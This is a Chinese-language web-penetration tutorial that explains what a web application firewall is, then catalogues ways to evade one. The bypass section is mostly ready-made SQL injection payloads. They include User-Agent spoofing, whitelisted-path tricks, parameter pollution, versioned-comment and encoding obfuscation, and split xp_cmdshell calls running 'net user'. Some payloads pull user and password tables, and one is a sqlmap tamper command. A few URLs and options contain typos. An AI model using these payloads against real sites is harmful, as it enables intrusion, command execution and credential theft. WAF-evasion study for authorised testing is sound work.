目录
1.什么是waf
网站WAF是一款服务器安全防护软件,是为IDC运营商、虚拟主机服务商、企业主机、服务器管理者等用户提供服务器安全防范的实用系统,是集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。
常见的系统攻击分为两类:一是利用Web服务器的漏洞进行攻击,如DDOS攻击、病毒木马破坏等攻击;二是利用网页自身的安全漏洞进行攻击,如SQL注入攻击、跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。
2.waf的主要功能
网站木马防御及查杀
流量监控
网站漏洞防御功能
危险组件防护功能
.net安全保护模块
双层防盗链链接模式
网站特定资源防下载
cc攻击防护
网站流量保护
ip黑白名单
3.waf检测方法
4.waf的绕过
看上面思维逻辑图,一步一步理解
1.waf身份认证阶段绕过
waf有一个白名单,在白名单内的请求将不做检测
方法一:伪造搜索引擎
老版本的WAF是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击,User-Agent的值网上随便搜,一大堆,单个修改抓包直接改,批量修改如下图
方法二:伪造白名单特殊目录
360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,如果是则不做拦截
比如:www.xxx.com/pen/news.php?id=1 union select user,password from mysql.user
可以改为:
www.xxx.com/pen/news.php/admin?id=1 union select user,password from mysql.user
原理:后面的目录找不到就不解析,解析能找到的
或者
www.xxx.com/pen/admin/..\news.php?id=1 union select user,password from mysql.user
方法三:直接攻击源站
这个方法可以用于安全宝、加速乐等云WAF,云WAF的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过,这个我也没有找到太好的例子,就不多做说明了。
2.waf数据包解析阶段的绕过
方法一:编码绕过(现在不好用)
对攻击的代码进行编码处理,早期可以绕过,现在基本不行了
方法二:修改请求方式
我想玩渗透的都知道cookie中转注入,最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。
方法三:复参数绕过
简单来说就是将一个请求得参数分开给变量多次赋值
例如一个请求是这样的
GET /pen/news.php?id=1 union select user,password from mysql.user
可以修改为
GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
很多WAF都可以这样绕,测试最新版WAF能绕过部分语句
3.waf触发规则绕过
方法一:特殊字符替换空格
用特殊字符去替代空格或换行,替换得值实际也是没有意义的
比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:
http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2
方法二:特殊字符拼接
把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接
如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
原理:传输过程中,代码命令分开传输,在后端进行解析后,通过+号又将命令拼接。形成完整命令
方法三:注释包含关键字
在mysql中,可以利用/*!*/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。测试最新版本的WAF可以完美绕过。
如: GET /pen/news.php?id=1 union select user,password from mysql.user
可以改为: GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user
方法四:使用大小写
这个不用多说吧,把自己的命令大小写组合,
方法五:关键字替换
例如http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....
方法六:编码与注释结合
http://www.***.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
http://192.168.0.142:8080/sql.php?id=1/*!50000*/union/*!50000*/select/*!50000*/1,user(),3,4,5
也可以这样
http://192.11.22.55/sqli/Less-1/?id=1' and /*!1=1*/ %23 (WAF不拦截)
U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/
手工进行加注释进行注入太慢,一般我们通过Sqlmap这类工具来实现自动注入:
sqlmap.py -u "URL" --tamper="versionedmorekeywords.py" --dealy=1(脚本一找一大堆)
方法七:利用waf本身的功能绕过
假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过
httdsp://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其方法-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4)
方法八:使用其他变量或者命令对注入语句进行替换
COMMAND | WHAT TO USE INSTEAD
@@version 替换 version()
concat() 替换concat_ws()
group_concat() 替换 concat_ws()
= 替换like
方法九:组合过waf(前面方法组合自己想)
5.思维导图
最后附上思维导图